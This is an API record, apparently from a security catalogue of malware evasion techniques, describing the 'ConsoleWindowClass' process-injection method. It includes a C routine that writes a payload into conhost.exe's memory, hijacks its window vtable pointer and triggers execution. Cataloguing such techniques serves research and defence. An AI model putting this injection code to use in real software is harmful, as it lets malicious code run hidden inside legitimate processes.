GET /api/techniques/153/
HTTP 200 OK
Allow: GET, PUT, PATCH, DELETE, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

{
    "name": "ConsoleWindowClass",
    "category": [
        "https://search.unprotect.it/api/categories/4/"
    ],
    "description": "Every window object has support for User Data that can be set via the SetWindowLongPtr API and GWLP_USERDATA parameter. The User Data of a window is simply a small amount of memory that is normally used for storing a pointer to a class object. \r\n\r\nIn the case of the Console Window Host (conhost) process, it stores the address of a data structure. Contained within the structure is information about the window’s current position on the desktop, its dimensions, an object handle, and of course a class object with methods to control the behaviour of the console window.",
    "resources": "https://modexp.wordpress.com/2018/09/12/process-injection-user-data/",
    "tags": "",
    "snippets": [
        {
            "language": "https://search.unprotect.it/api/snippet_languages/2/",
            "author": "https://search.unprotect.it/api/snippet_authors/6/",
            "technique": "https://search.unprotect.it/api/techniques/153/",
            "description": "",
            "plain_code": "VOID conhostInject(LPVOID payload, DWORD payloadSize) {\r\n    HWND          hwnd;\r\n    LONG_PTR      udptr;\r\n    DWORD         pid, ppid;\r\n    SIZE_T        wr;\r\n    HANDLE        hp;\r\n    ConsoleWindow cw;\r\n    LPVOID        cs, ds;\r\n    ULONG_PTR     vTable;\r\n    \r\n    // 1. Obtain handle and process id for a console window \r\n    //   (this assumes one already running)\r\n    hwnd = FindWindow(L\"ConsoleWindowClass\", NULL);\r\n    \r\n    GetWindowThreadProcessId(hwnd, &ppid);\r\n    // 2. Obtain the process id for the host process \r\n    pid = conhostId(ppid);\r\n    \r\n    // 3. Open the conhost.exe process\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);\r\n    // 4. Allocate RWX memory and copy the payload there\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize, \r\n      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n    \r\n    // 5. Read the address of current virtual table\r\n    udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA);\r\n    ReadProcessMemory(hp, (LPVOID)udptr, \r\n        (LPVOID)&vTable, sizeof(ULONG_PTR), &wr);\r\n    \r\n    // 6. Read the current virtual table into local memory\r\n    ReadProcessMemory(hp, (LPVOID)vTable, \r\n      (LPVOID)&cw, sizeof(ConsoleWindow), &wr);\r\n      \r\n    // 7. Allocate RW memory for the new virtual table\r\n    ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow), \r\n      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\r\n    // 8. update the local copy of virtual table with \r\n    //    address of payload and write to remote process\r\n    cw.GetWindowHandle = (ULONG_PTR)cs;\r\n    WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr); \r\n    // 9. Update pointer to virtual table in remote process\r\n    WriteProcessMemory(hp, (LPVOID)udptr, &ds, \r\n      sizeof(ULONG_PTR), &wr); \r\n    // 10. Trigger execution of the payload\r\n    SendMessage(hwnd, WM_SETFOCUS, 0, 0);\r\n    // 11. Restore pointer to original virtual table\r\n    WriteProcessMemory(hp, (LPVOID)udptr, &vTable, \r\n      sizeof(ULONG_PTR), &wr);\r\n    \r\n    // 12. Release memory and close handles\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    \r\n    CloseHandle(hp);"
        }
    ],
    "detection_rules": []
}